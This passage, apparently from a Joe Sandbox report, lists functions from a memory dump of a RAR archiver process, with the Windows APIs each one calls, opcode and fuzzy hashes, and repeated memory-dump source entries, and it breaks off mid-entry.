                                              • Source File: 0000004A.00000002.1810075262.00007FF70F371000.00000020.00000001.01000000.00000019.sdmp, Offset: 00007FF70F370000, based on PE: true
                                              • Associated: 0000004A.00000002.1810056392.00007FF70F370000.00000002.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810124637.00007FF70F3E0000.00000002.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810147500.00007FF70F3F8000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810169744.00007FF70F3F9000.00000008.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810190382.00007FF70F3FA000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810190382.00007FF70F404000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810190382.00007FF70F40E000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810190382.00007FF70F416000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810274913.00007FF70F418000.00000002.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810294839.00007FF70F41E000.00000002.00000001.01000000.00000019.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_74_2_7ff70f370000_rar.jbxd
                                              Similarity
                                              • API ID:
                                              • String ID: AFUM$default.sfx
                                              • API String ID: 0-2491287583
                                              • Opcode ID: 9c5250dc79f526f8b88a1db49316f6b7f6f5dd8f7a69fa39e4eeb80febe8b362
                                              • Instruction ID: 5fe1efbc19c390517bf6f3a493bb6b1c0c9bc8b1ae3898a735c0a717e43d8266
                                              • Opcode Fuzzy Hash: 9c5250dc79f526f8b88a1db49316f6b7f6f5dd8f7a69fa39e4eeb80febe8b362
                                              • Instruction Fuzzy Hash: 47817021A0C7C350EA60FB11D9502F9E2A4EF517A4FD4803ADE8D0FAD6DF6DA586C760
                                              Function 00007FF70F3BB9BC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42threadCOMMON
                                              Download Yara Rule
                                              APIs
                                              Strings
                                              Memory Dump Source
                                              • Source File: 0000004A.00000002.1810075262.00007FF70F371000.00000020.00000001.01000000.00000019.sdmp, Offset: 00007FF70F370000, based on PE: true
                                              • Associated: 0000004A.00000002.1810056392.00007FF70F370000.00000002.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810124637.00007FF70F3E0000.00000002.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810147500.00007FF70F3F8000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810169744.00007FF70F3F9000.00000008.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810190382.00007FF70F3FA000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810190382.00007FF70F404000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810190382.00007FF70F40E000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810190382.00007FF70F416000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810274913.00007FF70F418000.00000002.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810294839.00007FF70F41E000.00000002.00000001.01000000.00000019.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_74_2_7ff70f370000_rar.jbxd
                                              Similarity
                                              • API ID: Threadwcschr$CreateExceptionPriorityThrow
                                              • String ID: CreateThread failed
                                              • API String ID: 1217111108-3849766595
                                              • Opcode ID: 23f25dd9d767684a47335cfb6564c8d2137849cd663ca384977e916ef4a87e16
                                              • Instruction ID: 2b271653fd62c0cab6d00f42ee51ef2346a220b89e7c1605dcbd383a8cf7340d
                                              • Opcode Fuzzy Hash: 23f25dd9d767684a47335cfb6564c8d2137849cd663ca384977e916ef4a87e16
                                              • Instruction Fuzzy Hash: D4112E32A0CB8282E604FB15EC512E9F360FF847A4FD44139EA5D0A659DF3CE546C760
                                              Function 00007FF70F387B44 Relevance: 4.5, APIs: 3, Instructions: 19COMMON
                                              Download Yara Rule
                                              APIs
                                              Memory Dump Source
                                              • Source File: 0000004A.00000002.1810075262.00007FF70F371000.00000020.00000001.01000000.00000019.sdmp, Offset: 00007FF70F370000, based on PE: true
                                              • Associated: 0000004A.00000002.1810056392.00007FF70F370000.00000002.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810124637.00007FF70F3E0000.00000002.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810147500.00007FF70F3F8000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810169744.00007FF70F3F9000.00000008.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810190382.00007FF70F3FA000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810190382.00007FF70F404000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810190382.00007FF70F40E000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810190382.00007FF70F416000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810274913.00007FF70F418000.00000002.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810294839.00007FF70F41E000.00000002.00000001.01000000.00000019.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_74_2_7ff70f370000_rar.jbxd
                                              Similarity
                                              • API ID: ConsoleFileHandleModeType
                                              • String ID:
                                              • API String ID: 4141822043-0
                                              • Opcode ID: b15bfddebd279c5c829c27adb93723b3551ef5d7968acfa0ad204a509e36213f
                                              • Instruction ID: 277b4cd96a3d180a8c4c4d2057a6051b334a3c0074d91e9c2b5de98c836ed714
                                              • Opcode Fuzzy Hash: b15bfddebd279c5c829c27adb93723b3551ef5d7968acfa0ad204a509e36213f
                                              • Instruction Fuzzy Hash: 2FE08C60E0C68243EA586761AC652F8C252DF69BA4F941038DC0F4E390EF6CE4868320
                                              Function 00007FF70F394044 Relevance: 3.3, APIs: 2, Instructions: 336COMMON
                                              Download Yara Rule
                                              APIs
                                              Memory Dump Source
                                              • Source File: 0000004A.00000002.1810075262.00007FF70F371000.00000020.00000001.01000000.00000019.sdmp, Offset: 00007FF70F370000, based on PE: true
                                              • Associated: 0000004A.00000002.1810056392.00007FF70F370000.00000002.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810124637.00007FF70F3E0000.00000002.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810147500.00007FF70F3F8000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810169744.00007FF70F3F9000.00000008.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810190382.00007FF70F3FA000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810190382.00007FF70F404000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810190382.00007FF70F40E000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810190382.00007FF70F416000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810274913.00007FF70F418000.00000002.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810294839.00007FF70F41E000.00000002.00000001.01000000.00000019.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_74_2_7ff70f370000_rar.jbxd
                                              Similarity
                                              • API ID: CharEnvironmentExpandStrings
                                              • String ID:
                                              • API String ID: 4052775200-0
                                              • Opcode ID: da8b584ffcaf93481d81d2d41b9bc2b44c14c1d75082b0bbdd69e90533a1b382
                                              • Instruction ID: 41ff1cba4c5fa654c449d145e4eb9d961b52614d73c59b5f160103433d020766
                                              • Opcode Fuzzy Hash: da8b584ffcaf93481d81d2d41b9bc2b44c14c1d75082b0bbdd69e90533a1b382
                                              • Instruction Fuzzy Hash: 47E19E22A1C6C285EB30EB64D8401FEE6A1FF517A4F848139DB9D4BAD9DF7CE4428710
                                              Function 00007FF70F391AF0 Relevance: 3.1, APIs: 2, Instructions: 85fileCOMMON
                                              Download Yara Rule
                                              APIs
                                              • CreateFileW.KERNELBASE(?,?,00000800,?,00000000,00007FF70F387EBE,00000000,00000000,00000000,00000000,00000007,00007FF70F387C48), ref: 00007FF70F391B8D
                                              • CreateFileW.KERNEL32(?,?,00000800,?,00000000,00007FF70F387EBE,00000000,00000000,00000000,00000000,00000007,00007FF70F387C48), ref: 00007FF70F391BD7
                                              Memory Dump Source
                                              • Source File: 0000004A.00000002.1810075262.00007FF70F371000.00000020.00000001.01000000.00000019.sdmp, Offset: 00007FF70F370000, based on PE: true
                                              • Associated: 0000004A.00000002.1810056392.00007FF70F370000.00000002.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810124637.00007FF70F3E0000.00000002.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810147500.00007FF70F3F8000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810169744.00007FF70F3F9000.00000008.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810190382.00007FF70F3FA000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810190382.00007FF70F404000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810190382.00007FF70F40E000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810190382.00007FF70F416000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810274913.00007FF70F418000.00000002.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810294839.00007FF70F41E000.00000002.00000001.01000000.00000019.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_74_2_7ff70f370000_rar.jbxd
                                              Similarity
                                              • API ID: CreateFile
                                              • String ID:
                                              • API String ID: 823142352-0
                                              • Opcode ID: 4219d35e49beb692727e1c809157a61a389fcef5d2ea993dee933b1b68bc62b7
                                              • Instruction ID: 6589856c7082cac3010747d5ba977c84c669484226d436a377dbfe4c8d5a1be5
                                              • Opcode Fuzzy Hash: 4219d35e49beb692727e1c809157a61a389fcef5d2ea993dee933b1b68bc62b7
                                              • Instruction Fuzzy Hash: EF31E563A1C68646E770BF10D8453E9E690EF41BB8F905338DEAC0A6C5DFBCD9858750
                                              Function 00007FF70F3920B4 Relevance: 3.0, APIs: 2, Instructions: 45COMMON
                                              Download Yara Rule
                                              APIs
                                              Memory Dump Source
                                              • Source File: 0000004A.00000002.1810075262.00007FF70F371000.00000020.00000001.01000000.00000019.sdmp, Offset: 00007FF70F370000, based on PE: true
                                              • Associated: 0000004A.00000002.1810056392.00007FF70F370000.00000002.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810124637.00007FF70F3E0000.00000002.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810147500.00007FF70F3F8000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810169744.00007FF70F3F9000.00000008.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810190382.00007FF70F3FA000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810190382.00007FF70F404000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810190382.00007FF70F40E000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810190382.00007FF70F416000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810274913.00007FF70F418000.00000002.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810294839.00007FF70F41E000.00000002.00000001.01000000.00000019.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_74_2_7ff70f370000_rar.jbxd
                                              Similarity
                                              • API ID: ErrorFileLastPointer
                                              • String ID:
                                              • API String ID: 2976181284-0
                                              • Opcode ID: 5815bd41f5973e06c2119053be911941aef37d92954e301d013d2bb4fe8795dc
                                              • Instruction ID: 3b146d998738a389baa3ae564e9e9568951c5c57e751d47bac22cf6621176a28
                                              • Opcode Fuzzy Hash: 5815bd41f5973e06c2119053be911941aef37d92954e301d013d2bb4fe8795dc
                                              • Instruction Fuzzy Hash: 1201E521A1DAD242EE646B26E8005BAE261EF54BF4F945238DA2D8BBD4CF3CE4418710
                                              Function 00007FF70F387A68 Relevance: 3.0, APIs: 2, Instructions: 40COMMON
                                              Download Yara Rule
                                              APIs
                                              • setbuf.LIBCMT ref: 00007FF70F387A7B
                                                • Part of subcall function 00007FF70F3D2AE4: _invalid_parameter_noinfo.LIBCMT ref: 00007FF70F3D7EF3
                                              • setbuf.LIBCMT ref: 00007FF70F387A8F
                                                • Part of subcall function 00007FF70F387B44: GetStdHandle.KERNEL32(?,?,?,00007FF70F387A9E), ref: 00007FF70F387B4A
                                                • Part of subcall function 00007FF70F387B44: GetFileType.KERNELBASE(?,?,?,00007FF70F387A9E), ref: 00007FF70F387B56
                                                • Part of subcall function 00007FF70F387B44: GetConsoleMode.KERNEL32(?,?,?,00007FF70F387A9E), ref: 00007FF70F387B69
                                                • Part of subcall function 00007FF70F3D2ABC: _invalid_parameter_noinfo.LIBCMT ref: 00007FF70F3D2AD0
                                                • Part of subcall function 00007FF70F3D2B40: _invalid_parameter_noinfo.LIBCMT ref: 00007FF70F3D2C1C
                                              Memory Dump Source
                                              • Source File: 0000004A.00000002.1810075262.00007FF70F371000.00000020.00000001.01000000.00000019.sdmp, Offset: 00007FF70F370000, based on PE: true
                                              • Associated: 0000004A.00000002.1810056392.00007FF70F370000.00000002.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810124637.00007FF70F3E0000.00000002.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810147500.00007FF70F3F8000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810169744.00007FF70F3F9000.00000008.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810190382.00007FF70F3FA000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810190382.00007FF70F404000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810190382.00007FF70F40E000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810190382.00007FF70F416000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810274913.00007FF70F418000.00000002.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810294839.00007FF70F41E000.00000002.00000001.01000000.00000019.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_74_2_7ff70f370000_rar.jbxd
                                              Similarity
                                              • API ID: _invalid_parameter_noinfo$setbuf$ConsoleFileHandleModeType
                                              • String ID:
                                              • API String ID: 4044681568-0
                                              • Opcode ID: 8727ae0c8f4e6654f39e3312ee4fd5538b937ba58b7f1081e43b9e7840c2ab2c
                                              • Instruction ID: 2655f8d0d6dfa6534cf7a0d4bdf945db9843330295d136ac40a9025916919e08
                                              • Opcode Fuzzy Hash: 8727ae0c8f4e6654f39e3312ee4fd5538b937ba58b7f1081e43b9e7840c2ab2c
                                              • Instruction Fuzzy Hash: 9D017E10E1D2C20AFA19B2B56CA26FAE443CF91370F94517EE95E4E2D3DF1CA54A8371
                                              Function 00007FF70F3930C8 Relevance: 3.0, APIs: 2, Instructions: 30COMMON
                                              Download Yara Rule
                                              APIs
                                              • GetFileAttributesW.KERNELBASE(00000800,00007FF70F39305D,?,?,?,?,?,?,?,?,00007FF70F3A4126,?,?,?,?,00000800), ref: 00007FF70F3930F0
                                              • GetFileAttributesW.KERNELBASE(?,?,?,?,?,?,?,?,00007FF70F3A4126,?,?,?,?,00000800,00000000,00000000), ref: 00007FF70F393119
                                              Memory Dump Source
                                              • Source File: 0000004A.00000002.1810075262.00007FF70F371000.00000020.00000001.01000000.00000019.sdmp, Offset: 00007FF70F370000, based on PE: true
                                              • Associated: 0000004A.00000002.1810056392.00007FF70F370000.00000002.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810124637.00007FF70F3E0000.00000002.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810147500.00007FF70F3F8000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810169744.00007FF70F3F9000.00000008.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810190382.00007FF70F3FA000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810190382.00007FF70F404000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810190382.00007FF70F40E000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810190382.00007FF70F416000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810274913.00007FF70F418000.00000002.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810294839.00007FF70F41E000.00000002.00000001.01000000.00000019.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_74_2_7ff70f370000_rar.jbxd
                                              Similarity
                                              • API ID: AttributesFile
                                              • String ID:
                                              • API String ID: 3188754299-0
                                              • Opcode ID: 2e2186a7cb8ede8c780016636985b78a342ec6e28c4d5099e5617c1395310ad3
                                              • Instruction ID: f90b66a777a85705e1ca8c9ad02c93c3b98bf3e16ed71c6e45cabef187b0e006
                                              • Opcode Fuzzy Hash: 2e2186a7cb8ede8c780016636985b78a342ec6e28c4d5099e5617c1395310ad3
                                              • Instruction Fuzzy Hash: 0FF08C21B1C6C141EA60AB24E8543E9E294EF487A4F800138EADC8B7A9DFACD5848B10
                                              Function 00007FF70F3BBA70 Relevance: 3.0, APIs: 2, Instructions: 23COMMON
                                              Download Yara Rule
                                              APIs
                                              Memory Dump Source
                                              • Source File: 0000004A.00000002.1810075262.00007FF70F371000.00000020.00000001.01000000.00000019.sdmp, Offset: 00007FF70F370000, based on PE: true
                                              • Associated: 0000004A.00000002.1810056392.00007FF70F370000.00000002.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810124637.00007FF70F3E0000.00000002.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810147500.00007FF70F3F8000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810169744.00007FF70F3F9000.00000008.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810190382.00007FF70F3FA000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810190382.00007FF70F404000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810190382.00007FF70F40E000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810190382.00007FF70F416000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810274913.00007FF70F418000.00000002.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810294839.00007FF70F41E000.00000002.00000001.01000000.00000019.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_74_2_7ff70f370000_rar.jbxd
                                              Similarity
                                              • API ID: Process$AffinityCurrentMask
                                              • String ID:
                                              • API String ID: 1231390398-0
                                              • Opcode ID: b5cb634e91c6557fc3f51b2270fa7b26469bd4cc2c85bb60b503b74b5f948de9
                                              • Instruction ID: c311c42bf21964ab0ba51ac9ce0977d0be2646f8539eca5d0af0aa2db764cdfe
                                              • Opcode Fuzzy Hash: b5cb634e91c6557fc3f51b2270fa7b26469bd4cc2c85bb60b503b74b5f948de9
                                              • Instruction Fuzzy Hash: BDE0E561B3849142DBE86719C8A1FE9E390EF44B80FC02039E50A87A54DE1CC5448B10
                                              Function 00007FF70F3D4A74 Relevance: 3.0, APIs: 2, Instructions: 19threadCOMMONLIBRARYCODE
                                              Download Yara Rule
                                              APIs
                                              Memory Dump Source
                                              • Source File: 0000004A.00000002.1810075262.00007FF70F371000.00000020.00000001.01000000.00000019.sdmp, Offset: 00007FF70F370000, based on PE: true
                                              • Associated: 0000004A.00000002.1810056392.00007FF70F370000.00000002.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810124637.00007FF70F3E0000.00000002.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810147500.00007FF70F3F8000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810169744.00007FF70F3F9000.00000008.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810190382.00007FF70F3FA000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810190382.00007FF70F404000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810190382.00007FF70F40E000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810190382.00007FF70F416000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810274913.00007FF70F418000.00000002.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810294839.00007FF70F41E000.00000002.00000001.01000000.00000019.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_74_2_7ff70f370000_rar.jbxd
                                              Similarity
                                              • API ID: ErrorLanguagesLastPreferredRestoreThread
                                              • String ID:
                                              • API String ID: 588628887-0
                                              • Opcode ID: eba7cb3a1b25fa9ccf71865f2d4f1c33426d57f6117c222b9e149abc10e1791e
                                              • Instruction ID: fcae1b24be7c2133d77e9b6cefd0c8dab55ede13c690810cf1ff5f8c2f490d25
                                              • Opcode Fuzzy Hash: eba7cb3a1b25fa9ccf71865f2d4f1c33426d57f6117c222b9e149abc10e1791e
                                              • Instruction Fuzzy Hash: F1E046A1E1D5C242FE09FBF2EC052F4D291EF88B64F944039E90D4E392EF3CA4418664
                                              Function 00007FF70F384D1C Relevance: 1.5, APIs: 1, Instructions: 44COMMON
                                              Download Yara Rule
                                              APIs
                                              Memory Dump Source
                                              • Source File: 0000004A.00000002.1810075262.00007FF70F371000.00000020.00000001.01000000.00000019.sdmp, Offset: 00007FF70F370000, based on PE: true
                                              • Associated: 0000004A.00000002.1810056392.00007FF70F370000.00000002.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810124637.00007FF70F3E0000.00000002.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810147500.00007FF70F3F8000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810169744.00007FF70F3F9000.00000008.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810190382.00007FF70F3FA000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810190382.00007FF70F404000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810190382.00007FF70F40E000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810190382.00007FF70F416000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810274913.00007FF70F418000.00000002.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810294839.00007FF70F41E000.00000002.00000001.01000000.00000019.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_74_2_7ff70f370000_rar.jbxd
                                              Similarity
                                              • API ID: CommandLine
                                              • String ID:
                                              • API String ID: 3253501508-0
                                              • Opcode ID: 73dd7db7cbad1becb968eb67897256c98e4567ab7c48d7e0ed9ada2aa3175c64
                                              • Instruction ID: 87c170e14bb9a878d91df529021b32d0c924b0d3209201bddca2bb70d3324bc2
                                              • Opcode Fuzzy Hash: 73dd7db7cbad1becb968eb67897256c98e4567ab7c48d7e0ed9ada2aa3175c64
                                              • Instruction Fuzzy Hash: E301611260C78385EA14FB56E8002F9D660EF85BA4F984439EE4E0BB66DF3DD4468330
                                              Function 00007FF70F3D4B8C Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE
                                              Download Yara Rule
                                              Memory Dump Source
                                              • Source File: 0000004A.00000002.1810075262.00007FF70F371000.00000020.00000001.01000000.00000019.sdmp, Offset: 00007FF70F370000, based on PE: true
                                              • Associated: 0000004A.00000002.1810056392.00007FF70F370000.00000002.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810124637.00007FF70F3E0000.00000002.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810147500.00007FF70F3F8000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810169744.00007FF70F3F9000.00000008.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810190382.00007FF70F3FA000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810190382.00007FF70F404000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810190382.00007FF70F40E000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810190382.00007FF70F416000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810274913.00007FF70F418000.00000002.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810294839.00007FF70F41E000.00000002.00000001.01000000.00000019.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_74_2_7ff70f370000_rar.jbxd
                                              Similarity
                                              • API ID: AllocateHeap
                                              • String ID:
                                              • API String ID: 1279760036-0
                                              • Opcode ID: ca30e85b47fa1e18d3f1659bb3f59f1703126fc617b20a809fafb72b1d5571b6
                                              • Instruction ID: 86f54f490ad0679b3e8b81e3eabdc81cf856a1c723a85288f5fc944f6a3cb316
                                              • Opcode Fuzzy Hash: ca30e85b47fa1e18d3f1659bb3f59f1703126fc617b20a809fafb72b1d5571b6
                                              • Instruction Fuzzy Hash: FD012940A0D6C344F968F6A6FE402F9E190DF54BF4F98823AED5D4A2D6EF3CA4014220
                                              Function 00007FF70F3BA924 Relevance: 1.5, APIs: 1, Instructions: 41COMMON
                                              Download Yara Rule
                                              APIs
                                              Memory Dump Source
                                              • Source File: 0000004A.00000002.1810075262.00007FF70F371000.00000020.00000001.01000000.00000019.sdmp, Offset: 00007FF70F370000, based on PE: true
                                              • Associated: 0000004A.00000002.1810056392.00007FF70F370000.00000002.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810124637.00007FF70F3E0000.00000002.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810147500.00007FF70F3F8000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810169744.00007FF70F3F9000.00000008.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810190382.00007FF70F3FA000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810190382.00007FF70F404000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810190382.00007FF70F40E000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810190382.00007FF70F416000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810274913.00007FF70F418000.00000002.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810294839.00007FF70F41E000.00000002.00000001.01000000.00000019.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_74_2_7ff70f370000_rar.jbxd
                                              Similarity
                                              • API ID: CompareString
                                              • String ID:
                                              • API String ID: 1825529933-0
                                              • Opcode ID: c6d6092b44314f1ca84e49c6934a556cb6b0378942b6d95cbaf43525491768f7
                                              • Instruction ID: 3a42f63e7234573b673970e15e1a762d2416b6d293132873947640de710e9dea
                                              • Opcode Fuzzy Hash: c6d6092b44314f1ca84e49c6934a556cb6b0378942b6d95cbaf43525491768f7
                                              • Instruction Fuzzy Hash: B2012161B0CA9285EA106B16A8040AAF611EF99FD4F984439EF8D4FB5ACF2DD4424615
                                              Function 00007FF70F3D4AB4 Relevance: 1.5, APIs: 1, Instructions: 29memoryCOMMONLIBRARYCODE
                                              Download Yara Rule
                                              APIs
                                              Memory Dump Source
